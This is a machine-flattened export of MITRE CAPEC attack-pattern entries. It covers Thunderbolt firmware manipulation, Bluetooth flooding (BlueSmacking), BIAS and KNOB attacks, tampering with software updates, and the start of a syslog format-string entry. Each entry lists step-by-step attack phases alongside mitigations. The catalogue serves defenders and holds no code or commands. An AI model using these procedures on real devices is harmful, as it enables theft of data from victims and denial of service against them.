MITRE Corporation + + + + + 2021-06-24 + + + + + + + + + + + + #indModificationModification40205 + Modification_40205 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification40211 + Modification_40211 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-665 + Exploitation of Thunderbolt Protection Flaws + + + + + + + + + 665 + + + + + Exploitation of Thunderbolt Protection Flaws + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40228 + Related_Attack_Pattern_40228 + + + + + + + + + + + + + + 276 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40229 + Related_Attack_Pattern_40229 + + + + + + + + + + + + + + 390 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40230 + Related_Attack_Pattern_40230 + + + + + + + + + + + + + + 458 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40231 + Related_Attack_Pattern_40231 + + + + + + + + + + + + + + 148 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40232 + Related_Attack_Pattern_40232 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indAttackStepAttackStep40235 + Attack_Step_40235 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey physical victim environment and potential Thunderbolt system targets] The adversary monitors the target's physical environment to identify systems with Thunderbolt interfaces, identify potential weaknesses in physical security in addition to periods of nonattendance by the victim over their Thunderbolt interface equipped devices, and when the devices are in locked or sleep state.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40240 + Attack_Step_40240 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Evaluate the target system and its Thunderbolt interface] The adversary determines the device's operating system, Thunderbolt interface version, and any implemented Thunderbolt protections to plan the attack.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40245 + Attack_Step_40245 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Obtain and/or clone firmware image] The adversary physically manipulates Thunderbolt enabled devices to acquire the firmware image from the target and/or adversary Thunderbolt host controller's SPI (Serial Peripheral Interface) flash.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Disassemble victim and/or adversary device enclosure with basic tools to gain access to Thunderbolt controller SPI flash by connecting adversary SPI programmer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary connects SPI programmer to adversary-controlled Thunderbolt enabled device to obtain/clone victim thunderbolt controller firmware image through tools/scripts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Clone firmware image with SPI programmer and tools/scripts on adversary-controlled device.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40253 + Attack_Step_40253 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Parse and locate relevant firmware data structures and information based upon Thunderbolt controller model, firmware version, and other information] The acquired victim and/or adversary firmware image is parsed for specific data and other relevant identifiers required for exploitation, based upon the victim device information and firmware version.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize pre-crafted tools/scripts to parse and locate desired firmware data and modify it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Locate DROM (Device Read Only Memory) data structure section and calculate/determine appropriate offset to replicate victim device UUID.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Locate ACL (Access Control List) data structure and calculate/determine appropriate offsets to identify victim device UUID.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Locate data structure containing challenge-response key information between appropriate offsets.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40262 + Attack_Step_40262 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Disable Thunderbolt security and prevent future Thunderbolt security modifications (if necessary)] The adversary overrides the target device's Thunderbolt Security Level to "None" (SL0) and/or enables block protections upon the SPI flash to prevent the ability for the victim to perform and/or recognize future Thunderbolt security modifications as well as update the Thunderbolt firmware.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary-controlled Thunderbolt device, connected to SPI programmer and victim device via Thunderbolt ports, is utilized to execute commands within tools/scripts to disable SPI flash protections, modify Thunderbolt Security Level, and enable malicious SPI flash protections.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40268 + Attack_Step_40268 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Modify/replace victim Thunderbolt firmware image] The modified victim and/or adversary thunderbolt firmware image is written to attacker SPI flash.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40273 + Attack_Step_40273 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Connect adversary-controlled thunderbolt enabled device to victim device and verify successful execution of malicious actions] The adversary needs to determine if their exploitation of selected vulnerabilities had the intended effects upon victim device.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Observe victim device identify adversary device as the victim device and enables PCIe tunneling.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Resume victim device from sleep, connect adversary-controlled device and observe security is disabled and Thunderbolt connectivity is restored with PCIe tunneling being enabled.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Observe that in UEFI or Thunderbolt Management Tool/UI that the Security Level does not match adversary modified Security Level of "None" (SL0)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Observe after installation of Firmware update that within Thunderbolt Management UI the "NVM version" is unchanged/same prior to the prompt of successful Firmware update/installation.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40282 + Attack_Step_40282 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Exfiltration of desired data from victim device to adversary device] Utilize PCIe tunneling to transfer desired data and information from victim device across Thunderbolt connection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary needs at least a few minutes of physical access to a system with an open Thunderbolt port, version 3 or lower, and an external thunderbolt device controlled by the adversary with maliciously crafted software and firmware, via an SPI Programming device, to exploit weaknesses in security protections.</xhtml:div> + + + + + + + + + + + + #indSkillSkill40292 + Skill_40292 + + + + + + + + + + + + + + Detailed knowledge on various system motherboards, PCI Express Domain, SPI, and Thunderbolt Protocol in order to interface with internal system components via external devices. + + + + + + + + + + + + #indSkillSkill40293 + Skill_40293 + + + + + + + + + + + + + + Detailed knowledge on OS/Kernel memory address space, Direct Memory Access (DMA) mapping, Input-Output Memory Management Units (IOMMUs), and vendor memory protections for data leakage. + + + + + + + + + + + + #indSkillSkill40294 + Skill_40294 + + + + + + + + + + + + + + Detailed knowledge on scripting and SPI programming in order to configure and modify Thunderbolt controller firmware and software configurations. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">SPI Programming device capable of modifying/configuring or replacing the firmware of Thunderbolt device stored on SPI Flash of target Thunderbolt controller, as well as modification/spoofing of adversary-controlled Thunderbolt controller.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Precrafted scripts/tools capable of implementing the modification and replacement of Thunderbolt Firmware.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Thunderbolt-enabled computing device capable of interfacing with target Thunderbolt device and extracting/dumping data and memory contents of target device.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Windows Event logs may document the access of Thunderbolt port as a USB 3.0 event as well as any malicious actions taken upon target device as file system and memory events.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence40305 + Consequence_40305 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40309 + Consequence_40309 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40313 + Consequence_40313 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40317 + Consequence_40317 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Kernel Direct Memory Access Protection</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Enable UEFI option USB Passthrough mode - Thunderbolt 3 system port operates as USB 3.1 Type C interface</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Enable UEFI option DisplayPort mode - Thunderbolt 3 system port operates as video-only DP interface</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Enable UEFI option Mixed USB/DisplayPort mode - Thunderbolt 3 system port operates as USB 3.1 Type C interface with support for DP mode</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Set Security Level to SL3 for Thunderbolt 2 system port</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disable PCIe tunneling to set Security Level to SL3</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disable Boot Camp upon MacOS systems</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary steals a password protected laptop that contains a Thunderbolt 3 enabled port, from a work environment. The adversary uses a screw driver to remove the back panel of the laptop and connects a SPI Programming device to the Thunderbolt Host Controller SPI Flash of the stolen victim device to interface with it on the adversary's own Thunderbolt enabled device via Thunderbolt cables. The SPI Programming device is utilized to execute scripts/tools from the adversary's own system to copy, parse, and modify the victim's Thunderbolt firmware stored on SPI Flash. The device UUID value is obtained, by computing the appropriate offset based upon Thunderbolt firmware version and the OS of victim device, from the DROM section of victim Thunderbolt host controller firmware image. The firmware image is written to adversary Thunderbolt host controller SPI flash to clone and spoof victim device identity. The adversary reboots the victim device, with the victim device identifying the Thunderbolt connection of the adversary's Thunderbolt device as itself and enables PCIe tunneling. The adversary finally transfers the hard drive and memory contents of victim device across Thunderbolt connection.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 345 + + + + + 353 + + + + + 288 + + + + + 1188 + + + + + 862 + + + + + + + + + + + + #indTaxonomyMappingExploitationForDefensiveEvasion + Exploitation for Defensive Evasion + + + + + + + + + + + + + + 1211 + + + + + Exploitation for Defensive Evasion + + + + + + + + + + + + #indTaxonomyMappingPreOSBootComponentFirmware + Pre-OS Boot: Component Firmware + + + + + + + + + + + + + + 1542.002 + + + + + Pre-OS Boot: Component Firmware + + + + + + + + + + + + #indTaxonomyMappingModifyAuthenticationProcess + Modify Authentication Process + + + + + + + + + + + + + + 1556 + + + + + Modify Authentication Process + + + + + + + + + + + + #indReferenceReference40358 + Reference_40358 + + + + + + + + + REF-647 + + + + + + + + + + + + #indReferenceReference40359 + Reference_40359 + + + + + + + + + REF-648 + + + + + + + + + + + + #indReferenceReference40360 + Reference_40360 + + + + + + + + + REF-649 + + + + + + + + + + + + #indReferenceReference40361 + Reference_40361 + + + + + + + + + REF-650 + + + + + + + + + + + + #indReferenceReference40362 + Reference_40362 + + + + + + + + + REF-651 + + + + + + + + + + + + #indReferenceReference40363 + Reference_40363 + + + + + + + + + REF-652 + + + + + + + + + + + + #indContentHistoryContentHistory40365 + Content_History_40365 + + + + + + + + + + + + + + + + #indSubmissionSubmission40366 + Submission_40366 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + + + + + + + + #indModificationModification40371 + Modification_40371 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification40377 + Modification_40377 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-666 + BlueSmacking + + + + + + + + + 666 + + + + + BlueSmacking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses Bluetooth flooding to transfer large packets to Bluetooth enabled devices over the L2CAP protocol with the goal of creating a DoS. This attack must be carried out within close proximity to a Bluetooth enabled device.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40390 + Related_Attack_Pattern_40390 + + + + + + + + + + + + + + 125 + + + + + + + + + + + + #indAttackStepAttackStep40393 + Attack_Step_40393 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Scan for Bluetooth Enabled Devices] Using BlueZ along with an antenna, an adversary searches for devices with Bluetooth on.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Note the MAC address of the device you want to attack.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40399 + Attack_Step_40399 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Change L2CAP Packet Length] The adversary must change the L2CAP packet length to create packets that will overwhelm a Bluetooth enabled device.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary downloads and installs BlueZ, the standard Bluetooth utility package for Linux.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40405 + Attack_Step_40405 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Flood] An adversary sends the packets to the target device, and floods it until performance is degraded.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application has Bluetooth enabled.</xhtml:div> + + + + + + + + + + + + #indSkillSkill40415 + Skill_40415 + + + + + + + + + + + + + + An adversary only needs a Linux machine along with a Bluetooth adapter, which is extremely common. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Performance is degraded or halted by incoming L2CAP packets.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence40421 + Consequence_40421 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Disable Bluetooth when not being used.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When using Bluetooth, set it to hidden or non-discoverable mode.</xhtml:div> + + + + + 404 + + + + + + + + + + + + #indTaxonomyMappingNetworkDenialOfServiceDirectNetworkFlood + Network Denial of Service: Direct Network Flood + + + + + + + + + + + + + + 1498.001 + + + + + Network Denial of Service: Direct Network Flood + + + + + + + + + + + + #indTaxonomyMappingEndpointDenialOfServiceOSExhaustionFlood + Endpoint Denial of Service: OS Exhaustion Flood + + + + + + + + + + + + + + 1499.001 + + + + + Endpoint Denial of Service: OS Exhaustion Flood + + + + + + + + + + + + #indReferenceReference40445 + Reference_40445 + + + + + + + + + REF-655 + + + + + + + + + + + + #indContentHistoryContentHistory40447 + Content_History_40447 + + + + + + + + + + + + + + + + #indSubmissionSubmission40448 + Submission_40448 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + + + + + + + + #indModificationModification40453 + Modification_40453 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-667 + Bluetooth Impersonation AttackS (BIAS) + + + + + + + + + 667 + + + + + Bluetooth Impersonation AttackS (BIAS) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary disguises the MAC address of their Bluetooth enabled device to one for which there exists an active and trusted connection and authenticates successfully. The adversary can then perform malicious actions on the target Bluetooth device depending on the target’s capabilities.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40467 + Related_Attack_Pattern_40467 + + + + + + + + + + + + + + 616 + + + + + 437 + + + + + 512 + + + + + 513 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep40475 + Attack_Step_40475 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find disguise and target] The adversary starts the Bluetooth service on the attacking device and searches for nearby listening devices.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Knowledge of a trusted MAC address.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Scanning for devices other than the target that may be trusted.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40482 + Attack_Step_40482 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Disguise] Using the MAC address of the device the adversary wants to impersonate, they may use a tool such as spooftooth or macchanger to spoof their Bluetooth address and attempt to authenticate with the target.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40487 + Attack_Step_40487 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Use device capabilities to accomplish goal] Finally, if authenticated successfully the adversary can perform tasks/information gathering dependent on the target's capabilities and connections.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Knowledge of a target device's list of trusted connections.</xhtml:div> + + + + + + + + + + + + #indSkillSkill40497 + Skill_40497 + + + + + + + + + + + + + + Adversaries must be capable of using command line Linux tools. + + + + + + + + + + + + #indSkillSkill40498 + Skill_40498 + + + + + + + + + + + + + + Adversaries must be in close proximity to Bluetooth devices. + + + + + + + + + + + + #indConsequenceConsequence40501 + Consequence_40501 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary will be impersonating another Bluetooth device, and may gain access to information pertaining to that user along with the ability to manipulate other information.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence40505 + Consequence_40505 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary will have unauthorized access to information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Disable Bluetooth in public places.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Verify incoming Bluetooth connections; do not automatically trust.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change default PIN passwords and always use one when connecting.</xhtml:div> + + + + + 290 + + + + + + + + + + + + #indContentHistoryContentHistory40518 + Content_History_40518 + + + + + + + + + + + + + + + + #indSubmissionSubmission40519 + Submission_40519 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + + + + + + + + #indModificationModification40524 + Modification_40524 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-668 + Key Negotiation of Bluetooth Attack (KNOB) + + + + + + + + + 668 + + + + + Key Negotiation of Bluetooth Attack (KNOB) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40539 + Related_Attack_Pattern_40539 + + + + + + + + + + + + + + 115 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40540 + Related_Attack_Pattern_40540 + + + + + + + + + + + + + + 148 + + + + + + + + + + + + #indAttackStepAttackStep40543 + Attack_Step_40543 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Discovery] Using an established Person in the Middle setup, search for Bluetooth devices beginning the authentication process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use packet capture tools.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40549 + Attack_Step_40549 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Change the entropy bits] Upon recieving the initial key negotiation packet from the master, the adversary modifies the entropy bits requested to 1 to allow for easy decryption before it is forwarded.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40554 + Attack_Step_40554 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Capture and decrypt data] Once the entropy of encryption is known, the adversary can capture data and then decrypt on their device.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Person in the Middle network setup.</xhtml:div> + + + + + + + + + + + + #indSkillSkill40564 + Skill_40564 + + + + + + + + + + + + + + Ability to modify packets. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Bluetooth adapter, packet capturing capabilities.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence40570 + Consequence_40570 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40574 + Consequence_40574 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40580 + Consequence_40580 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Newer Bluetooth firmwares ensure that the KNOB is not negotaited in plaintext. Update your device.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Given users Alice, Bob and Charlie (Charlie being the attacker), Alice and Bob begin to agree on an encryption key when connecting. While Alice sends a message to Bob that an encryption key with 16 bytes of entropy should be used, Charlie changes this to 1 and forwards the request to Bob and continues forwarding these packets until authentication is successful.</xhtml:div> + + + + + 425 + + + + + 285 + + + + + 693 + + + + + + + + + + + + #indTaxonomyMappingDataManipulationTransmittedDataManipulation + Data Manipulation: Transmitted Data Manipulation + + + + + + + + + + + + + + 1565.002 + + + + + Data Manipulation: Transmitted Data Manipulation + + + + + + + + + + + + #indReferenceReference40603 + Reference_40603 + + + + + + + + + REF-657 + + + + + + + + + + + + #indContentHistoryContentHistory40605 + Content_History_40605 + + + + + + + + + + + + + + + + #indSubmissionSubmission40606 + Submission_40606 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + + + + + + + + #indModificationModification40611 + Modification_40611 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-669 + Alteration of a Software Update + + + + + + + + + 669 + + + + + Alteration of a Software Update + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary with access to an organization’s software update infrastructure inserts malware into the content of an outgoing update to fielded systems where a wide range of malicious effects are possible. With the same level of access, the adversary can alter a software update to perform specific malicious acts including granting the adversary control over the software’s normal functionality.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40627 + Related_Attack_Pattern_40627 + + + + + + + + + + + + + + 184 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40628 + Related_Attack_Pattern_40628 + + + + + + + + + + + + + + 673 + + + + + + + + + + + + #indAttackStepAttackStep40631 + Attack_Step_40631 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify software with frequent updates] The adversary must first identify a target software that has updates at least with some frequency, enough that there is am update infrastructure.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40636 + Attack_Step_40636 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Gain access to udpate infrastructure] The adversary must then gain access to the organization's software update infrastructure. This can either be done by gaining remote access from outside the organization, or by having a malicious actor inside the organization gain access. It is often easier if someone within the organization gains access.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40641 + Attack_Step_40641 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Alter the software update] Through access to the software update infrastructure, an adversary will alter the software update by injecting malware into the content of an outgoing update.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary would need to have penetrated an organization’s software update infrastructure including gaining access to components supporting the configuration management of software versions and updates related to the software maintenance of customer systems.</xhtml:div> + + + + + + + + + + + + #indSkillSkill40651 + Skill_40651 + + + + + + + + + + + + + + Skills required include the ability to infiltrate the organization’s software update infrastructure either from the Internet or from within the organization, including subcontractors, and be able to change software being delivered to customer/user systems in an undetected manner. + + + + + + + + + + + + #indConsequenceConsequence40654 + Consequence_40654 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40658 + Consequence_40658 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40662 + Consequence_40662 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40666 + Consequence_40666 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Have a Software Assurance Plan that includes maintaining strict configuration management control of source code, object code and software development, build and distribution tools; manual code reviews and static code analysis for developmental software; and tracking of all storage and movement of code.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Require elevated privileges for distribution of software and software updates.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A subcontractor to a software developer injects maliciously altered software updates into an automated update process that distributes to government and commercial customers software containing a hidden backdoor.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseSoftwareSupplyChain + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + + + 1195.002 + + + + + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + #indReferenceReference40687 + Reference_40687 + + + + + + + + + REF-658 + + + + + + + + + + + + #indReferenceReference40688 + Reference_40688 + + + + + + + + + REF-659 + + + + + + + + + + + + #indReferenceReference40689 + Reference_40689 + + + + + + + + + REF-660 + + + + + + + + + + + + #indContentHistoryContentHistory40691 + Content_History_40691 + + + + + + + + + + + + + + + + #indSubmissionSubmission40692 + Submission_40692 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + + + + + + + + #indModificationModification40697 + Modification_40697 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification40703 + Modification_40703 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-67 + String Format Overflow in syslog() + + + + + + + + + 67 + + + + + String Format Overflow in syslog() + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets applications and software that uses the syslog() function insecurely. If an application does not explicitely use a format string parameter in a call to syslog(), user input can be placed in the format string parameter leading to a format string injection attack. Adversaries can then inject malicious format string commands into the function call leading to a buffer overflow. There are many reported software vulnerabilities with the root cause being a misuse of the syslog() function.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + 